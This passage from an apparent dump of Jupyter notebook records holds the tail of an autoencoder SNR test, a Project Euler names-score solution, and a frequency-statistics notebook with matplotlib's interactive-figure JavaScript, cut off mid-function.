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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "ae.test_snr_range(\n", " EbNo_dB_l = range(10),\n", " N_mod_bits=1,\n", " Code_K=1,Code_N=2,\n", " N_episodes=500,\n", " N_sample_train=2000,\n", " N_sample_test=100000)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "tf2", "language": "python", "name": "tf2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.7" } }, "nbformat": 4, "nbformat_minor": 4 }

mit

mhjabreel/euler-project

euler-022 Names scores.ipynb

2

1332

{ "metadata": { "name": "" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "markdown", "source": [ "# Using names.txt (right click and 'Save Link/Target As...'), a 46K text file containing over five-thousand first names, begin by sorting it into alphabetical order. Then working out the alphabetical value for each name, multiply this value by its alphabetical position in the list to obtain a name score.\n", "\n", "# For example, when the list is sorted into alphabetical order, COLIN, which is worth 3 + 15 + 12 + 9 + 14 = 53, is the 938th name in the list. So, COLIN would obtain a score of 938 \u00d7 53 = 49714.\n", "\n", "# What is the total of all the name scores in the file?" ] }, { "cell_type": "code", "collapsed": false, "input": [ "result = 0\n", "\n", "open(\"./names.txt\").read.to_s.tr('\"',\"\").split(\",\").sort.each_with_index { |item, i| result += item.split(\"\").inject(0) { |sum, c| sum += c.ord - 64 } * (i+1) }\n", "\n", "result" ], "language": "python", "outputs": [ { "output_type": "pyout", "prompt_number": 47, "text": [ "871198282" ] } ], "prompt_number": 47 } ] } ] }

mit

lidimayra/basic-stats

frequencies/frequency.ipynb

1

96360

{ "cells": [ { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import numpy as np\n", "from scipy import stats" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [], "source": [ "array = np.array([1, 1, 5, 0, 1, 2, 2, 0, 1, 4])" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [], "source": [ "array = np.array(['gabriela', 'patrícia', 'samantha', 'gabriela'])" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[['gabriela' '2']\n", " ['patrícia' '1']\n", " ['samantha' '1']]\n" ] } ], "source": [ "frequency = stats.itemfreq(array)\n", "print(frequency)" ] }, { "cell_type": "code", "execution_count": 112, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "['gabriela' 'patrícia' 'samantha']\n" ] } ], "source": [ "xi = frequency[:, 0]\n", "print(xi)" ] }, { "cell_type": "code", "execution_count": 116, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "['2' '1' '1']\n" ] } ], "source": [ "fi = frequency[:, 1]\n", "print(fi)" ] }, { "cell_type": "code", "execution_count": 118, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[2 1 1]\n" ] } ], "source": [ "fi = fi.astype(int)\n", "print(fi)" ] }, { "cell_type": "code", "execution_count": 124, "metadata": { "collapsed": false }, "outputs": [ { "data": { "application/javascript": [ "/* Put everything inside the global mpl namespace */\n", "window.mpl = {};\n", "\n", "mpl.get_websocket_type = function() {\n", " if (typeof(WebSocket) !== 'undefined') {\n", " return WebSocket;\n", " } else if (typeof(MozWebSocket) !== 'undefined') {\n", " return MozWebSocket;\n", " } else {\n", " alert('Your browser does not have WebSocket support.' +\n", " 'Please try Chrome, Safari or Firefox ≥ 6. ' +\n", " 'Firefox 4 and 5 are also supported but you ' +\n", " 'have to enable WebSockets in about:config.');\n", " };\n", "}\n", "\n", "mpl.figure = function(figure_id, websocket, ondownload, parent_element) {\n", " this.id = figure_id;\n", "\n", " this.ws = websocket;\n", "\n", " this.supports_binary = (this.ws.binaryType != undefined);\n", "\n", " if (!this.supports_binary) {\n", " var warnings = document.getElementById(\"mpl-warnings\");\n", " if (warnings) {\n", " warnings.style.display = 'block';\n", " warnings.textContent = (\n", " \"This browser does not support binary websocket messages. \" +\n", " \"Performance may be slow.\");\n", " }\n", " }\n", "\n", " this.imageObj = new Image();\n", "\n", " this.context = undefined;\n", " this.message = undefined;\n", " this.canvas = undefined;\n", " this.rubberband_canvas = undefined;\n", " this.rubberband_context = undefined;\n", " this.format_dropdown = undefined;\n", "\n", " this.image_mode = 'full';\n", "\n", " this.root = $('<div/>');\n", " this._root_extra_style(this.root)\n", " this.root.attr('style', 'display: inline-block');\n", "\n", " $(parent_element).append(this.root);\n", "\n", " this._init_header(this);\n", " this._init_canvas(this);\n", " this._init_toolbar(this);\n", "\n", " var fig = this;\n", "\n", " this.waiting = false;\n", "\n", " this.ws.onopen = function () {\n", " fig.send_message(\"supports_binary\", {value: fig.supports_binary});\n", " fig.send_message(\"send_image_mode\", {});\n", " fig.send_message(\"refresh\", {});\n", " }\n", "\n", " this.imageObj.onload = function() {\n", " if (fig.image_mode == 'full') {\n", " // Full images could contain transparency (where diff images\n", " // almost always do), so we need to clear the canvas so that\n", " // there is no ghosting.\n", " fig.context.clearRect(0, 0, fig.canvas.width, fig.canvas.height);\n", " }\n", " fig.context.drawImage(fig.imageObj, 0, 0);\n", " };\n", "\n", " this.imageObj.onunload = function() {\n", " this.ws.close();\n", " }\n", "\n", " this.ws.onmessage = this._make_on_message_function(this);\n", "\n", " this.ondownload = ondownload;\n", "}\n", "\n", "mpl.figure.prototype._init_header = function() {\n", " var titlebar = $(\n", " '<div class=\"ui-dialog-titlebar ui-widget-header ui-corner-all ' +\n", " 'ui-helper-clearfix\"/>');\n", " var titletext = $(\n", " '<div class=\"ui-dialog-title\" style=\"width: 100%; ' +\n", " 'text-align: center; padding: 3px;\"/>');\n", " titlebar.append(titletext)\n", " this.root.append(titlebar);\n", " this.header = titletext[0];\n", "}\n", "\n", "\n", "\n", "mpl.figure.prototype._canvas_extra_style = function(canvas_div) {\n", "\n", "}\n", "\n", "\n", "mpl.figure.prototype._root_extra_style = function(canvas_div) {\n", "\n", "}\n", "\n", "mpl.figure.prototype._init_canvas = function() {\n", " var fig = this;\n", "\n", " var canvas_div = $('<div/>');\n", "\n", " canvas_div.attr('style', 'position: relative; clear: both; outline: 0');\n", "\n", " function canvas_keyboard_event(event) {\n", " return fig.key_event(event, event['data']);\n", " }\n", "\n", " canvas_div.keydown('key_press', canvas_keyboard_event);\n", " canvas_div.keyup('key_release', canvas_keyboard_event);\n", " this.canvas_div = canvas_div\n", " this._canvas_extra_style(canvas_div)\n", " this.root.append(canvas_div);\n", "\n", " var canvas = $('<canvas/>');\n", " canvas.addClass('mpl-canvas');\n", " canvas.attr('style', \"left: 0; top: 0; z-index: 0; outline: 0\")\n", "\n", " this.canvas = canvas[0];\n", " this.context = canvas[0].getContext(\"2d\");\n", "\n", " var rubberband = $('<canvas/>');\n", " rubberband.attr('style', \"position: absolute; left: 0; top: 0; z-index: 1;\")\n", "\n", " var pass_mouse_events = true;\n", "\n", " canvas_div.resizable({\n", " start: function(event, ui) {\n", " pass_mouse_events = false;\n", " },\n", " resize: function(event, ui) {\n", " fig.request_resize(ui.size.width, ui.size.height);\n", " },\n", " stop: function(event, ui) {\n", " pass_mouse_events = true;\n", " fig.request_resize(ui.size.width, ui.size.height);\n", " },\n", " });\n", "\n", " function mouse_event_fn(event) {\n", " if (pass_mouse_events)\n", " return fig.mouse_event(event, event['data']);\n", " }\n", "\n", " rubberband.mousedown('button_press', mouse_event_fn);\n", " rubberband.mouseup('button_release', mouse_event_fn);\n", " // Throttle sequential mouse events to 1 every 20ms.\n", " rubberband.mousemove('motion_notify', mouse_event_fn);\n", "\n", " rubberband.mouseenter('figure_enter', mouse_event_fn);\n", " rubberband.mouseleave('figure_leave', mouse_event_fn);\n", "\n", " canvas_div.on(\"wheel\", function (event) {\n", " event = event.originalEvent;\n", " event['data'] = 'scroll'\n", " if (event.deltaY < 0) {\n", " event.step = 1;\n", " } else {\n", " event.step = -1;\n", " }\n", " mouse_event_fn(event);\n", " });\n", "\n", " canvas_div.append(canvas);\n", " canvas_div.append(rubberband);\n", "\n", " this.rubberband = rubberband;\n", " this.rubberband_canvas = rubberband[0];\n", " this.rubberband_context = rubberband[0].getContext(\"2d\");\n", " this.rubberband_context.strokeStyle = \"#000000\";\n", "\n", " this._resize_canvas = function(width, height) {\n", " // Keep the size of the canvas, canvas container, and rubber band\n", " // canvas in synch.\n", " canvas_div.css('width', width)\n", " canvas_div.css('height', height)\n", "\n", " canvas.attr('width', width);\n", " canvas.attr('height', height);\n", "\n", " rubberband.attr('width', width);\n", " rubberband.attr('height', height);\n", " }\n", "\n", " // Set the figure to an initial 600x600px, this will subsequently be updated\n", " // upon first draw.\n", " this._resize_canvas(600, 600);\n", "\n", " // Disable right mouse context menu.\n", " $(this.rubberband_canvas).bind(\"contextmenu\",function(e){\n", " return false;\n", " });\n", "\n", " function set_focus () {\n", " canvas.focus();\n", " canvas_div.focus();\n", " }\n", "\n", " window.setTimeout(set_focus, 100);\n", "}\n", "\n", "mpl.figure.prototype._init_toolbar = function() {\n", " var fig = this;\n", "\n", " var nav_element = $('<div/>')\n", " nav_element.attr('style', 'width: 100%');\n", " this.root.append(nav_element);\n", "\n", " // Define a callback function for later on.\n", " function toolbar_event(event) {\n", " return fig.toolbar_button_onclick(event['data']);\n", " }\n", " function toolbar_mouse_event(event) {\n", " return fig.toolbar_button_onmouseover(event['data']);\n", " }\n", "\n", " for(var toolbar_ind in mpl.toolbar_items) {\n", " var name = mpl.toolbar_items[toolbar_ind][0];\n", " var tooltip = mpl.toolbar_items[toolbar_ind][1];\n", " var image = mpl.toolbar_items[toolbar_ind][2];\n", " var method_name = mpl.toolbar_items[toolbar_ind][3];\n", "\n", " if (!name) {\n", " // put a spacer in here.\n", " continue;\n", " }\n", " var button = $('<button/>');\n", " button.addClass('ui-button ui-widget ui-state-default ui-corner-all ' +\n", " 'ui-button-icon-only');\n", " button.attr('role', 'button');\n", " button.attr('aria-disabled', 'false');\n", " button.click(method_name, toolbar_event);\n", " button.mouseover(tooltip, toolbar_mouse_event);\n", "\n", " var icon_img = $('<span/>');\n", " icon_img.addClass('ui-button-icon-primary ui-icon');\n", " icon_img.addClass(image);\n", " icon_img.addClass('ui-corner-all');\n", "\n", " var tooltip_span = $('<span/>');\n", " tooltip_span.addClass('ui-button-text');\n", " tooltip_span.html(tooltip);\n", "\n", " button.append(icon_img);\n", " button.append(tooltip_span);\n", "\n", " nav_element.append(button);\n", " }\n", "\n", " var fmt_picker_span = $('<span/>');\n", "\n", " var fmt_picker = $('<select/>');\n", " fmt_picker.addClass('mpl-toolbar-option ui-widget ui-widget-content');\n", " fmt_picker_span.append(fmt_picker);\n", " nav_element.append(fmt_picker_span);\n", " this.format_dropdown = fmt_picker[0];\n", "\n", " for (var ind in mpl.extensions) {\n", " var fmt = mpl.extensions[ind];\n", " var option = $(\n", " '<option/>', {selected: fmt === mpl.default_extension}).html(fmt);\n", " fmt_picker.append(option)\n", " }\n", "\n", " // Add hover states to the ui-buttons\n", " $( \".ui-button\" ).hover(\n", " function() { $(this).addClass(\"ui-state-hover\");},\n", " function() { $(this).removeClass(\"ui-state-hover\");}\n", " );\n", "\n", " var status_bar = $('<span class=\"mpl-message\"/>');\n", " nav_element.append(status_bar);\n", " this.message = status_bar[0];\n", "}\n", "\n", "mpl.figure.prototype.request_resize = function(x_pixels, y_pixels) {\n", " // Request matplotlib to resize the figure. Matplotlib will then trigger a resize in the client,\n", " // which will in turn request a refresh of the image.\n", " this.send_message('resize', {'width': x_pixels, 'height': y_pixels});\n", "}\n", "\n", "mpl.figure.prototype.send_message = function(type, properties) {\n", " properties['type'] = type;\n", " properties['figure_id'] = this.id;\n", " this.ws.send(JSON.stringify(properties));\n", "}\n", "\n", "mpl.figure.prototype.send_draw_message = function() {\n", " if (!this.waiting) {\n", " this.waiting = true;\n", " this.ws.send(JSON.stringify({type: \"draw\", figure_id: this.id}));\n", " }\n", "}\n", "\n", "\n", "mpl.figure.prototype.handle_save = function(fig, msg) {\n", " var format_dropdown = fig.format_dropdown;\n", " var format = format_dropdown.options[format_dropdown.selectedIndex].value;\n", " fig.ondownload(fig, format);\n", "}\n", "\n", "\n", "mpl.figure.prototype.handle_resize = function(fig, msg) {\n", " var size = msg['size'];\n", " if (size[0] != fig.canvas.width || size[1] != fig.canvas.height) {\n", " fig._resize_canvas(size[0], size[1]);\n", " fig.send_message(\"refresh\", {});\n", " };\n", "}\n", "\n", "mpl.figure.prototype.handle_rubberband = function(fig, msg) {\n", " var x0 = msg['x0'];\n", " var y0 = fig.canvas.height - msg['y0'];\n", " var x1 = msg['x1'];\n", " var y1 = fig.canvas.height - msg['y1'];\n", " x0 = Math.floor(x0) + 0.5;\n", " y0 = Math.floor(y0) + 0.5;\n", " x1 = Math.floor(x1) + 0.5;\n", " y1 = Math.floor(y1) + 0.5;\n", " var min_x = Math.min(x0, x1);\n", " var min_y = Math.min(y0, y1);\n", " var width = Math.abs(x1 - x0);\n", " var height = Math.abs(y1 - y0);\n", "\n", " fig.rubberband_context.clearRect(\n", " 0, 0, fig.canvas.width, fig.canvas.height);\n", "\n", " fig.rubberband_context.strokeRect(min_x, min_y, width, height);\n", "}\n", "\n", "mpl.figure.prototype.handle_figure_label = function(fig, msg) {\n", " // Updates the figure title.\n", " fig.header.textContent = msg['label'];\n", "}\n", "\n", "mpl.figure.prototype.handle_cursor = function(fig, msg) {\n", " var cursor = msg['cursor'];\n", " switch(cursor)\n", " {\n", " case 0:\n", " cursor = 'pointer';\n", " break;\n", " case 1:\n", " cursor = 'default';\n", " break;\n", " case 2:\n", " cursor = 'crosshair';\n", " break;\n", " case 3:\n", " cursor = 'move';\n", " break;\n", " }\n", " fig.rubberband_canvas.style.cursor = cursor;\n", "}\n", "\n", "mpl.figure.prototype.handle_message = function(fig, msg) {\n", " fig.message.textContent = msg['message'];\n", "}\n", "\n", "mpl.figure.prototype.handle_draw = function(fig, msg) {\n", " // Request the server to send over a new figure.\n", " fig.send_draw_message();\n", "}\n", "\n", "mpl.figure.prototype.handle_image_mode = function(fig, msg) {\n", " fig.image_mode = msg['mode'];\n", "}\n", "\n", "mpl.figure.prototype.updated_canvas_event = function() {\n", " // Called whenever the canvas gets updated.\n", " this.send_message(\"ack\", {});\n", "}\n", "\n", "// A function to construct a web socket function for onmessage handling.\n", "// Called in the figure constructor.\n", "mpl.figure.prototype._make_on_message_function = function(fig) {\n", " return function socket_on_message(evt) {\n", " if (evt.data instanceof Blob) {\n", " /* FIXME: We get \"Resource interpreted as Image but\n", " * transferred with MIME type text/plain:\" errors on\n", " * Chrome. But how to set the MIME type? It doesn't seem\n", " * to be part of the websocket stream */\n", " evt.data.type = \"image/png\";\n", "\n", " /* Free the memory for the previous frames */\n", " if (fig.imageObj.src) {\n", " (window.URL || window.webkitURL).revokeObjectURL(\n", " fig.imageObj.src);\n", " }\n", "\n", " fig.imageObj.src = (window.URL || window.webkitURL).createObjectURL(\n", " evt.data);\n", " fig.updated_canvas_event();\n", " fig.waiting = false;\n", " return;\n", " }\n", " else if (typeof evt.data === 'string' && evt.data.slice(0, 21) == \"data:image/png;base64\") {\n", " fig.imageObj.src = evt.data;\n", " fig.updated_canvas_event();\n", " fig.waiting = false;\n", " return;\n", " }\n", "\n", " var msg = JSON.parse(evt.data);\n", " var msg_type = msg['type'];\n", "\n", " // Call the \"handle_{type}\" callback, which takes\n", " // the figure and JSON message as its only arguments.\n", " try {\n", " var callback = fig[\"handle_\" + msg_type];\n", " } catch (e) {\n", " console.log(\"No handler for the '\" + msg_type + \"' message type: \", msg);\n", " return;\n", " }\n", "\n", " if (callback) {\n", " try {\n", " // console.log(\"Handling '\" + msg_type + \"' message: \", msg);\n", " callback(fig, msg);\n", " } catch (e) {\n", " console.log(\"Exception inside the 'handler_\" + msg_type + \"' callback:\", e, e.stack, msg);\n", " }\n", " }\n", " };\n", "}\n", "\n", "// from http://stackoverflow.com/questions/1114465/getting-mouse-location-in-canvas\n", "mpl.findpos = function(e) {\n", " //this section is from http://www.quirksmode.org/js/events_properties.html\n", " var targ;\n", " if (!e)\n", " e = window.event;\n", " if (e.target)\n", " targ = e.target;\n", " else if (e.srcElement)\n", " targ = e.srcElement;\n", " if (targ.nodeType == 3) // defeat Safari bug\n", " targ = targ.parentNode;\n", "\n", " // jQuery normalizes the pageX and pageY\n", " // pageX,Y are the mouse positions relative to the document\n", " // offset() returns the position of the element relative to the document\n", " var x = e.pageX - $(targ).offset().left;\n", " var y = e.pageY - $(targ).offset().top;\n", "\n", " return {\"x\": x, \"y\": y};\n", "};\n", "\n", "/*\n", " * return a copy of an object with only non-object keys\n", " * we need this to avoid circular references\n", " * http://stackoverflow.com/a/24161582/3208463\n", " */\n", "function simpleKeys (original) {\n", " return Object.keys(original).reduce(function (obj, key) {\n", " if (typeof original[key] !== 'object')\n", " obj[key] = original[key]\n", " return obj;\n", " }, {});\n", "}\n", "\n", "mpl.figure.prototype.mouse_event = function(event, name) {\n", " var canvas_pos = mpl.findpos(event)\n", "\n", " if (name === 'button_press')\n", " {\n", " this.canvas.focus();\n", " this.canvas_div.focus();\n", " }\n", "\n", " var x = canvas_pos.x;\n", " var y = canvas_pos.y;\n", "\n", " this.send_message(name, {x: x, y: y, button: event.button,\n", " step: event.step,\n", " guiEvent: simpleKeys(event)});\n", "\n", " /* This prevents the web browser from automatically changing to\n", " * the text insertion cursor when the button is pressed. We want\n", " * to control all of the cursor setting manually through the\n", " * 'cursor' event from matplotlib */\n", " event.preventDefault();\n", " return false;\n", "}\n", "\n", "mpl.figure.prototype._key_event_extra = function(event, name) {\n", " // Handle any extra behaviour associated with a key event\n", "}\n", "\n", "mpl.figure.prototype.key_event = function(event, name) {\n", "\n", " // Prevent repeat events\n", " if (name == 'key_press')\n", " {\n", " if (event.which === this._key)\n", " return;\n", " else\n", " this._key = event.which;\n", " }\n", " if (name == 'key_release')\n", " this._key = null;\n", "\n", " var value = '';\n", " if (event.ctrlKey && event.which != 17)\n", " value += \"ctrl+\";\n", " if (event.altKey && event.which != 18)\n", " value += \"alt+\";\n", " if (event.shiftKey && event.which != 16)\n", " value += 